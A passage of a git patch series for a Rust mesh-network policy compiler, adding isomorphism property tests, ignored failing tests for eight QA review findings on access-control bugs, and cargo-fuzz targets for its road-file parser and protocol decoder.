fn path_back(&self, path: &str) -> String { + match path.strip_prefix("roads/").and_then(|n| n.split_once('-')) { + Some((id, rest)) => format!( + "roads/{}-{rest}", + self.to_old.get(id).cloned().unwrap_or(id.to_string()) + ), + None => path.to_string(), + } + } +} + +/// Lists are sets in every plan (docs/FORMATS.md, "Every list is sorted"), so sorting each one by its text makes +/// two plans that differ only in the spelling of their ids comparable. +fn canonical(v: &mut Value) { + match v { + Value::Array(a) => { + a.iter_mut().for_each(canonical); + a.sort_by_key(|x| x.to_string()); + } + Value::Object(m) => m.values_mut().for_each(canonical), + _ => {} + } +} + +fn store_of(p: &Parts) -> Store { + Store::from_parts(&p.roads, Some(&p.directory), Some(&p.devices)) +} + +fn check_isomorphic(seed: u64) -> Result<(), TestCaseError> { + let parts = base_parts(); + let ren = Renaming::new(&parts, seed); + let renamed = ren.apply(&parts); + let (s0, s1) = (store_of(&parts), store_of(&renamed)); + let (c0, c1) = (compile(&s0, now()), compile(&s1, now())); + prop_assert!(c0.has_plans() && c1.has_plans()); + prop_assert_eq!(c0.plans.len(), c1.plans.len()); + + for (k, p0) in &c0.plans { + let k1 = DeviceKey::new(&ren.new_of(k.as_str())).unwrap(); + let mut a = serde_json::to_value(p0).unwrap(); + let mut b = serde_json::to_value(&c1.plans[&k1]).unwrap(); + ren.back(&mut b); + canonical(&mut a); + canonical(&mut b); + prop_assert_eq!(a, b, "the plan of {} depends on how ids are spelt", p0.name); + } + + let problems = |c: &roads::Compiled, back: bool| -> BTreeSet<(String, Option, String, String)> { + c.problems + .iter() + .map(|p| { + ( + if back { ren.path_back(&p.path) } else { p.path.clone() }, + p.field.clone(), + p.code.to_string(), + format!("{:?}", p.severity), + ) + }) + .collect() + }; + prop_assert_eq!(problems(&c0, false), problems(&c1, true)); + + let (d0, d1) = (s0.devices.as_ref().unwrap(), s1.devices.as_ref().unwrap()); + for a in d0.devices.keys() { + for b in d0.devices.keys() { + let a1 = DeviceKey::new(&ren.new_of(a.as_str())).unwrap(); + let b1 = DeviceKey::new(&ren.new_of(b.as_str())).unwrap(); + for (p0, p1) in [ + (Place::Device(b.clone()), Place::Device(b1.clone())), + (Place::Exit(b.clone()), Place::Exit(b1)), + ] { + let w0: BTreeSet = + roads::explain(&c0, d0, a, &p0).iter().map(|r| r.to_string()).collect(); + let w1: BTreeSet = roads::explain(&c1, d1, &a1, &p1) + .iter() + .map(|r| ren.to_old[r.as_str()].clone()) + .collect(); + prop_assert_eq!(w0, w1, "explain {:?} -> {:?}", a, p0); + } + } + } + Ok(()) +} + +#[test] +fn the_extra_roads_reach_the_order_sensitive_paths() { + // Guards the fixture: without these the property would pass for a reason that has nothing to do with order. + let c = base_parts().compile(); + let codes: BTreeSet<&str> = c.problems.iter().map(|p| p.code).collect(); + assert!(codes.contains("exit.conflict"), "{codes:?}"); + let mark = &c.plans[&key(1)]; + assert!(mark.exit.is_none(), "two exits: neither"); + assert_eq!(mark.kill_switch.as_ref().unwrap().through, None, "two kill switches: no exit"); + let jana_phone = &c.plans[&key(3)]; + let server = jana_phone.peers.iter().find(|p| p.key == key(2)).unwrap(); + assert_eq!(server.via, None, "two different path hints: none"); + assert!(c.errors().next().is_none(), "{:?}", c.errors().collect::>()); +} + +#[test] +fn the_identity_renaming_changes_nothing() { + let parts = base_parts(); + let before = common::plans_bytes(&parts.compile()); + let ren = Renaming { + to_new: BTreeMap::new(), + to_old: BTreeMap::new(), + }; + assert_eq!(common::plans_bytes(&compile(&store_of(&ren.apply(&parts)), now())), before); +} + +proptest! { + #![proptest_config(ProptestConfig { cases: 300, failure_persistence: None, .. ProptestConfig::default() })] + + #[test] + fn r55_renaming_every_id_gives_an_isomorphic_plan(seed in any::()) { + check_isomorphic(seed)?; + } +} From 828962a9e930df6145bd5a1cc8b64ba59716cbbe Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:15:53 +0100 Subject: [PATCH 05/25] [roads] QA review of PR #1: one failing test per open finding, ignored until fixed Eight tests, each #[ignore]d with its finding id (F-01 to F-08 in Via/qa/review-via-core-pr1.md), each verified to FAIL on this code for the reason it names (cargo test -p roads --test qa_findings -- --ignored: 0 passed, 8 failed): F-01 a service road opens every service on the same host and port (explain admits it) F-02 goes-direct may name mesh addresses or tunnelled subnets, kill switch or not F-03 a kill switch whose exit stops being one fails open F-04 deleting a person from directory.json leaves no plan for anybody F-05 a custom block on a classic device is labelled classic: false F-06 a road across address families compiles into a rule that never matches F-07 a missing roads/ folder is not reported F-08 a public address is accepted as a mesh address --- crates/roads/tests/qa_findings.rs | 206 ++++++++++++++++++++++++++++++ 1 file changed, 206 insertions(+) create mode 100644 crates/roads/tests/qa_findings.rs diff --git a/crates/roads/tests/qa_findings.rs b/crates/roads/tests/qa_findings.rs new file mode 100644 index 0000000..2ba62ae --- /dev/null +++ b/crates/roads/tests/qa_findings.rs @@ -0,0 +1,206 @@ +//! QA review of PR #1 (`feature/roads`): one test per finding that the code does not yet answer. +//! +//! Every test here **fails on the current code** and is `#[ignore]`d so the suite stays green; each `ignore` +//! names its finding in `Via/qa/review-via-core-pr1.md`. Run them with `cargo test -p roads --test qa_findings +//! -- --ignored`: a fix is done when its test passes and the `#[ignore]` is removed in the same commit. If a +//! finding is answered by a design decision instead, change the test to that decision, do not delete it. + +mod common; + +use common::{Parts, key}; +use roads::plan::Dst; +use roads::{Hostname, Place, Store, compile, explain}; + +fn road(id: &str, slug: &str, lines: &[String]) -> (String, String) { + ( + format!("{id}-{slug}.md"), + format!( + "---\nid: {id}\n{}\ncreated: 2026-11-25T10:00:00Z\n---\n", + lines.join("\n") + ), + ) +} + +fn with(parts: Parts, r: (String, String)) -> Parts { + parts.with_road(&r.0, &r.1) +} + +/// F-01. A road to one Ianitor service opens every service on that host that shares a port. The firewall can +/// only say "Jana's address may reach 100.96.0.2 on tcp/443", and photos and git both live there on tcp/443, +/// so "Jana can reach Photos" is also "Jana can reach Git"; `explain` admits it. +#[test] +#[ignore = "QA F-01 (blocker): a service road grants every service on the same host and port"] +fn f01_a_service_road_grants_only_that_service() { + // Without the household road, Jana's only road to the home server is 7tq0mz: photos, tcp/443. + let parts = Parts::home().without_road("k3f9q2"); + let c = parts.compile(); + let store = parts.store(); + let devs = store.devices.as_ref().unwrap(); + let git = Place::Service(Hostname::new("git.home.arpa").unwrap()); + let why = explain(&c, devs, &key(3), &git); + let refused = c + .problems + .iter() + .any(|p| p.path.contains("7tq0mz") && p.is_error()); + assert!( + why.is_empty() || refused, + "jana-phone reaches git.home.arpa through {why:?}, a road that names only photos.home.arpa" + ); +} + +/// F-02. `goes-direct` may name the mesh's own addresses or a subnet the mesh routes. Then traffic that the +/// plan also routes into the tunnel is told to bypass it, on whatever network the device is on, and the +/// kill switch does not stop it because the subnet is "private". +#[test] +#[ignore = "QA F-02 (major): goes-direct can take mesh addresses and tunnelled subnets out of the tunnel"] +fn f02_going_direct_never_overlaps_what_the_tunnel_carries() { + let mark_pc = key(1); + for subnet in ["100.96.0.0/16", "192.168.100.0/24", "192.168.0.0/16"] { + let parts = with( + Parts::home(), + road( + "f02aaa", + "mark-pc-direct", + &[ + format!("subject: device:{mark_pc}"), + "verb: goes-direct".into(), + format!("object: subnet:{subnet}"), + ], + ), + ); + let c = parts.compile(); + let plan = &c.plans[&mark_pc]; + assert!(plan.kill_switch.is_some(), "mark-pc has a kill switch"); + let tunnelled: Vec<_> = plan + .peers + .iter() + .flat_map(|p| p.allowed_ips.iter()) + .filter(|n| n.prefix_len() > 0) + .collect(); + for d in &plan.direct { + for n in &tunnelled { + assert!( + !d.subnet.overlaps(n), + "goes-direct {} overlaps {n}, which the plan sends through the tunnel", + d.subnet + ); + } + } + } +} + +/// F-03. A kill switch whose road stops validating turns the protection off. The realistic trigger is not a +/// typo: the exit device stops offering itself as an exit (or leaves devices.json), and every kill switch +/// through it silently disappears while the rest of the plan compiles. +#[test] +#[ignore = "QA F-03 (major): an invalid kill-switch road fails open"] +fn f03_a_kill_switch_whose_exit_goes_away_fails_closed() { + let parts = Parts::home().edit_devices(|d| { + d.replace(r#""address": "100.96.0.2", "exit": true,"#, r#""address": "100.96.0.2","#) + }); + let c = parts.compile(); + assert!(c.has_plans()); + assert!( + c.problems + .iter() + .any(|p| p.path.contains("w9c3ke") && p.is_error()), + "the kill-switch road is reported" + ); + assert!( + c.plans[&key(1)].kill_switch.is_some(), + "mark-pc lost its kill switch because its exit stopped being one: it now fails open" + ); +} + +/// F-04. Deleting a person from the directory (the upstream event, without also editing devices.json) leaves +/// a dangling `owner`, which is a snapshot error, which means no plan for anybody. Day 3 then has to choose +/// between the household offline and the deleted person keeping their access. +#[test] +#[ignore = "QA F-04 (major): one dangling owner means no plans for anybody"] +fn f04_deleting_a_person_revokes_them_and_nobody_else() { + let parts = Parts::home().edit_directory(|d| d.replace(r#" { "id": "petr", "name": "Petr" },"#, "")); + let c = parts.compile(); + assert!( + c.has_plans(), + "removing petr from directory.json produced no plans at all: {:?}", + c.errors().map(|p| p.to_string()).collect::>() + ); + assert!(c.plans[&key(7)].exit.is_none(), "petr-phone kept its exit"); + assert!(c.plans[&key(3)].peers.iter().any(|p| p.key == key(2)), "jana kept hers"); +} + +/// F-05. A custom road on a classic device is carried as `classic: false` unless the road says otherwise, so the +/// plan labels a classic peer's raw block as post-quantum (CLAUDE.md: classic peers are labelled everywhere). +#[test] +#[ignore = "QA F-05 (minor): plan.custom takes `classic` from the road, not from the device"] +fn f05_a_custom_block_on_a_classic_device_is_labelled_classic() { + let router = key(5); + let text = Parts::home().road_text("x1d7qa").replace("classic: true\n", ""); + let parts = Parts::home().replace_road("x1d7qa", &text); + let c = parts.compile(); + let refused = c.problems.iter().any(|p| p.path.contains("x1d7qa") && p.is_error()); + let custom = &c.plans[&router].custom; + assert!( + refused || custom.iter().all(|x| x.classic), + "the router is classic, its custom block says classic: false" + ); +} + +/// F-06. Roads whose subject devices have an IPv4 mesh address and whose object is an IPv6 subnet (or the +/// other way round) compile cleanly into rules that can never match: a road that grants nothing, reported as +/// nothing. +#[test] +#[ignore = "QA F-06 (minor): a road across address families compiles into a rule that never matches"] +fn f06_a_road_across_address_families_is_reported() { + let parts = with( + Parts::home().edit_devices(|d| { + d.replace(r#""routes": ["192.168.100.0/24"]"#, r#""routes": ["192.168.100.0/24", "fd00:1::/64"]"#) + }), + road( + "f06aaa", + "mark-v6", + &[ + "subject: person:mark".into(), + "verb: can-reach".into(), + "object: subnet:fd00:1::/64".into(), + ], + ), + ); + let c = parts.compile(); + let mixed = c.plans.values().flat_map(|p| p.firewall.rules.iter()).any(|r| match r.dst { + Dst::Net(n) => n.inner().addr().is_ipv4() != r.src.inner().addr().is_ipv4(), + Dst::Internet => false, + }); + let reported = c.problems.iter().any(|p| p.path.contains("f06aaa")); + assert!(reported || !mixed, "an IPv4 source to an IPv6 destination, silently"); +} + +/// F-07. A store folder without `roads/` compiles to plans with no access and no problem at all, so pointing +/// `--store` one folder too high revokes everything, kill switches included, without a word. +#[test] +#[ignore = "QA F-07 (minor): a missing roads/ folder is not reported"] +fn f07_a_missing_roads_folder_is_reported() { + let dir = tempfile::tempdir().unwrap(); + std::fs::copy(common::home_dir().join("directory.json"), dir.path().join("directory.json")).unwrap(); + std::fs::copy(common::home_dir().join("devices.json"), dir.path().join("devices.json")).unwrap(); + let store = Store::load_dir(dir.path()).unwrap(); + let c = compile(&store, common::now()); + assert!( + !c.problems.is_empty(), + "no roads/ folder, every plan empty, and nothing said" + ); +} + +/// F-08. A device's mesh address may be a public address. The exit's forward rule to `internet` then covers +/// another device's mesh address, so "exit through the friend node" also reaches that device through the exit. +#[test] +#[ignore = "QA F-08 (minor): mesh addresses are not confined to private ranges"] +fn f08_mesh_addresses_are_never_internet_addresses() { + let parts = Parts::home() + .edit_devices(|d| d.replace(r#""address": "100.96.0.4""#, r#""address": "198.51.100.4""#)); + let store = parts.store(); + assert!( + store.devices.is_none(), + "198.51.100.4 was accepted as a mesh address; an exit's `internet` rule covers it" + ); +} From d5917e7aabfa0f3bf12fecffe210c488f2ac939e Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:15:53 +0100 Subject: [PATCH 06/25] [fuzz] cargo fuzz targets for the road-file parser and the control envelope road_file: any bytes as one road file in the home store. The parser never panics; a road that parses renders to canonical text that parses back to the same road and rendering is a fixed point; compile never panics; and a file that does not parse, or a road the compiler reports an error for, leaves every plan byte-identical (deny by default). envelope: Envelope::decode never panics; whatever it accepts re-encodes, decodes to the same envelope and encodes stably. Own workspace, as cargo fuzz lays it out. On Windows with the stable MSVC toolchain and no sanitizer, build.rs links win_sections.c, which gives the SanitizerCoverage counters their COFF section bounds (compiler-rt only ships them inside a sanitizer runtime); the exact command is in road_file.rs. --- .gitignore | 1 + fuzz/Cargo.lock | 424 +++++++++++++++++++++++++++++++++ fuzz/Cargo.toml | 36 +++ fuzz/build.rs | 7 + fuzz/fuzz_targets/envelope.rs | 18 ++ fuzz/fuzz_targets/road_file.rs | 118 +++++++++ fuzz/win_sections.c | 9 + 7 files changed, 613 insertions(+) create mode 100644 fuzz/Cargo.lock create mode 100644 fuzz/Cargo.toml create mode 100644 fuzz/build.rs create mode 100644 fuzz/fuzz_targets/envelope.rs create mode 100644 fuzz/fuzz_targets/road_file.rs create mode 100644 fuzz/win_sections.c diff --git a/.gitignore b/.gitignore index 8e0a292..f1d5341 100644 --- a/.gitignore +++ b/.gitignore @@ -4,6 +4,7 @@ # Fuzzing and proptest artefacts /fuzz/target/ +/fuzz/target-none/ /fuzz/corpus/ /fuzz/artifacts/ **/proptest-regressions/*.tmp diff --git a/fuzz/Cargo.lock b/fuzz/Cargo.lock new file mode 100644 index 0000000..489b091 --- /dev/null +++ b/fuzz/Cargo.lock @@ -0,0 +1,424 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "arbitrary" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3bc62ac97cc33321f50863d514c3bc38a453947a8f9e781137e47c7401020aed" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "cc" +version = "1.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02f0e023adb368345ce0ca6cdfc0f24a06554468d0e8503e14a0841de79bfa69" +dependencies = [ + "find-msvc-tools", + "jobserver", + "libc", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7648175b45a9a48536d676f68d918270699102aa8dab5496df06904c914600" + +[[package]] +name = "ciborium" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42e69ffd6f0917f5c029256a24d0161db17cea3997d185db0d35926308770f0e" +dependencies = [ + "ciborium-io", + "ciborium-ll", + "serde", +] + +[[package]] +name = "ciborium-io" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05afea1e0a06c9be33d539b876f1ce3692f4afea2cb41f740e7743225ed1c757" + +[[package]] +name = "ciborium-ll" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57663b653d948a338bfb3eeba9bb2fd5fcfaecb9e199e87e1eda4d9e8b240fd9" +dependencies = [ + "ciborium-io", + "half", +] + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crunchy" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "find-msvc-tools" +version = "0.1.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c66915cc5391097de7a2b0b972e8505aa33c0df401fd3a6811dbdb32881ba48" + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" +dependencies = [ + "cfg-if", + "libc", + "r-efi", +] + +[[package]] +name = "half" +version = "2.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ea2d84b969582b4b1864a92dc5d27cd2b77b622a8d79306834f1be5ba20d84b" +dependencies = [ + "cfg-if", + "crunchy", + "zerocopy", +] + +[[package]] +name = "ipnet" +version = "2.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "791930b43c0d5973160d90a8f3894509f2b273430f5c5c73b668636d0287c5c0" + +[[package]] +name = "itoa" +version = "1.0.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3bd1574e617a9a6c1f8f8181bd7e841e1f20e4277607ef28945765188d6284d4" + +[[package]] +name = "jiff" +version = "0.2.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "175dc66334db3b9ab9985bf8b61cfed50dc16d20964bb47f9e479adcae984a7f" +dependencies = [ + "jiff-core", + "jiff-static", + "log", + "portable-atomic", + "portable-atomic-util", + "serde_core", +] + +[[package]] +name = "jiff-core" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e599b80292e597019b8b3e392de3f4bea2959ddfb8c7dff60e035e9e311a2c1b" +dependencies = [ + "log", +] + +[[package]] +name = "jiff-static" +version = "0.2.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7b1af7547d47354bc438d797e3854601bde8f8d185780c5ba4ab27afa54f1ba" +dependencies = [ + "jiff-core", + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "jobserver" +version = "0.1.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c00acbd29eabad4a2392fa0e921c874934dbbf4194312ad20f04a0ed67a3cb3" +dependencies = [ + "getrandom", + "libc", +] + +[[package]] +name = "libc" +version = "0.2.191" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65cd87c9a6d60536580b316ad985726104730a5151c99845f2490428ef91240a" + +[[package]] +name = "libfuzzer-sys" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9fd2f41a1cba099f79a0b6b6c35656cf7c03351a7bae8ff0f28f25270f929d2" +dependencies = [ + "arbitrary", + "cc", +] + +[[package]] +name = "log" +version = "0.4.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d15f86d12da44cd8d4ec3c73984537eb7f4cadcb9776a575a0a8a05ca11005c" + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "portable-atomic" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05c8b63e8d9609db387f0324918f81d68fe27748f084ef092fb35954d0539a85" + +[[package]] +name = "portable-atomic-util" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10ab3eb7f3becc3a1cbc4f2c6f20267996cfc1a6467a873763411b136a122715" +dependencies = [ + "portable-atomic", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "proto" +version = "0.1.0" +dependencies = [ + "ciborium", + "roads", + "serde", + "sha2", +] + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "roads" +version = "0.1.0" +dependencies = [ + "base64", + "ipnet", + "jiff", + "serde", + "serde_json", +] + +[[package]] +name = "serde" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.10", +] + +[[package]] +name = "serde_json" +version = "1.0.154" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7e9cc8b1b85264074fbcc02a88680c4096b1e47df8f739dceb03bf482f04bd6" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "3.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ae9ccbea3a7b0b09443036490c8f34a8b1b760fd345e5c0dae0aac718faea79" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + +[[package]] +name = "unicode-ident" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2c754d6c33795a1c324727428e5a7dedb5b06195f9890bdbcba760d3e246563" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "via-core-fuzz" +version = "0.0.0" +dependencies = [ + "cc", + "jiff", + "libfuzzer-sys", + "proto", + "roads", +] + +[[package]] +name = "zerocopy" +version = "0.8.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32bc8a75f879cd6fe53a6bedf3c28f0e1b914c77424fc2be9e2ec85d7d25aff5" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8bfd2644ea1681f60cf95029ff18aa8ad1cc3f7b8fe37286f8e473bb29f816b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zmij" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" diff --git a/fuzz/Cargo.toml b/fuzz/Cargo.toml new file mode 100644 index 0000000..0542b14 --- /dev/null +++ b/fuzz/Cargo.toml @@ -0,0 +1,36 @@ +[package] +name = "via-core-fuzz" +version = "0.0.0" +edition = "2024" +publish = false +license = "CPAL-1.0" + +[package.metadata] +cargo-fuzz = true + +[build-dependencies] +cc = "1" + +[dependencies] +libfuzzer-sys = "0.4" +roads = { path = "../crates/roads" } +proto = { path = "../crates/proto" } +jiff = { version = "0.2", default-features = false, features = ["std"] } + +# Its own workspace, so the fuzz build never joins the main one (cargo fuzz's layout). +[workspace] +members = ["."] + +[[bin]] +name = "road_file" +path = "fuzz_targets/road_file.rs" +test = false +doc = false +bench = false + +[[bin]] +name = "envelope" +path = "fuzz_targets/envelope.rs" +test = false +doc = false +bench = false diff --git a/fuzz/build.rs b/fuzz/build.rs new file mode 100644 index 0000000..7658367 --- /dev/null +++ b/fuzz/build.rs @@ -0,0 +1,7 @@ +// Windows only: give the coverage counters their section bounds (see win_sections.c). +fn main() { + println!("cargo:rerun-if-changed=win_sections.c"); + if std::env::var("CARGO_CFG_TARGET_ENV").as_deref() == Ok("msvc") { + cc::Build::new().file("win_sections.c").compile("win_sections"); + } +} diff --git a/fuzz/fuzz_targets/envelope.rs b/fuzz/fuzz_targets/envelope.rs new file mode 100644 index 0000000..13712a4 --- /dev/null +++ b/fuzz/fuzz_targets/envelope.rs @@ -0,0 +1,18 @@ +//! Fuzzes the control-protocol decoder (QA review of PR #1): `Envelope::decode` never panics, and anything it +//! accepts encodes to bytes that decode to the same envelope, and encoding is stable. +//! +//! Run: RUSTC_BOOTSTRAP=1 cargo fuzz run envelope -s none -- -max_total_time=300 + +#![no_main] + +use libfuzzer_sys::fuzz_target; +use proto::Envelope; + +fuzz_target!(|data: &[u8]| { + if let Ok(env) = Envelope::decode(data) { + let bytes = env.encode(); + let again = Envelope::decode(&bytes).expect("an encoded envelope decodes"); + assert_eq!(again, env); + assert_eq!(again.encode(), bytes, "encoding is not stable"); + } +}); diff --git a/fuzz/fuzz_targets/road_file.rs b/fuzz/fuzz_targets/road_file.rs new file mode 100644 index 0000000..727e0f1 --- /dev/null +++ b/fuzz/fuzz_targets/road_file.rs @@ -0,0 +1,118 @@ +//! Fuzzes the road-file parser and the compiler behind it (QA review of PR #1). +//! +//! For any bytes as one road file, added to the home store: +//! 1. `Road::parse` never panics; +//! 2. a road that parses renders to canonical text that parses back to the same road, and rendering is a fixed +//! point (`render(parse(render(r))) == render(r)`); +//! 3. `compile` never panics (its `expect`/`unreachable!` paths assume the parser's checks); +//! 4. deny by default: a file that does not parse, or a road the compiler reports an error for, leaves every +//! plan byte-identical to the home store without it. +//! +//! Run on Linux with nightly: `cargo fuzz run road_file -- -max_total_time=600`. +//! +//! Run on Windows with the stable MSVC toolchain and no sanitizer (`cargo fuzz -s none` adds the PC table, which +//! does not link on COFF without a sanitizer runtime; `build.rs` + `win_sections.c` supply the counter bounds): +//! cd fuzz +//! RUSTFLAGS="-Cpasses=sancov-module -Cllvm-args=-sanitizer-coverage-level=4 +//! -Cllvm-args=-sanitizer-coverage-inline-8bit-counters -Cllvm-args=-sanitizer-coverage-trace-compares +//! -Cllvm-args=-simplifycfg-branch-fold-threshold=0 -Ccodegen-units=1 --cfg fuzzing -Cdebug-assertions +//! -Clink-arg=/include:main" \ +//! cargo build --release --target x86_64-pc-windows-msvc --target-dir target-none --bin road_file +//! target-none/x86_64-pc-windows-msvc/release/road_file.exe -max_total_time=600 corpus/road_file +//! Seed the corpus with `crates/roads/tests/fixtures/home/roads/*` and `fixtures/invalid/roads/*`. + +#![no_main] + +use libfuzzer_sys::fuzz_target; +use roads::{Road, RoadId, Store, compile}; +use std::sync::OnceLock; + +macro_rules! home { + ($f:literal) => { + ( + $f, + include_bytes!(concat!("../../crates/roads/tests/fixtures/home/roads/", $f)).as_slice(), + ) + }; +} + +const DIRECTORY: &[u8] = include_bytes!("../../crates/roads/tests/fixtures/home/directory.json"); +const DEVICES: &[u8] = include_bytes!("../../crates/roads/tests/fixtures/home/devices.json"); +const HOME: [(&str, &[u8]); 10] = [ + home!("7tq0mz-jana-photos-until-sunday.md"), + home!("c0z5wn-petr-exits-friend.md"), + home!("e5yj1s-steam-goes-direct.md"), + home!("h2x8vd-mark-home-lan.md"), + home!("k3f9q2-household-home-server.md"), + home!("m6v0hp-petr-git-expired.md"), + home!("p4n6rb-mark-pc-exits-home.md"), + home!("r8m2tg-router-home-server.md"), + home!("w9c3ke-mark-pc-kill-switch.md"), + home!("x1d7qa-router-imported.md"), +]; + +fn now() -> jiff::Timestamp { + "2026-11-25T12:00:00+01:00".parse().unwrap() +} + +fn files(extra: Option<(&str, &[u8])>) -> Vec<(String, Vec)> { + HOME.iter() + .copied() + .chain(extra) + .map(|(n, b)| (n.to_string(), b.to_vec())) + .collect() +} + +fn plans_json(store: &Store) -> (Vec, roads::Compiled) { + 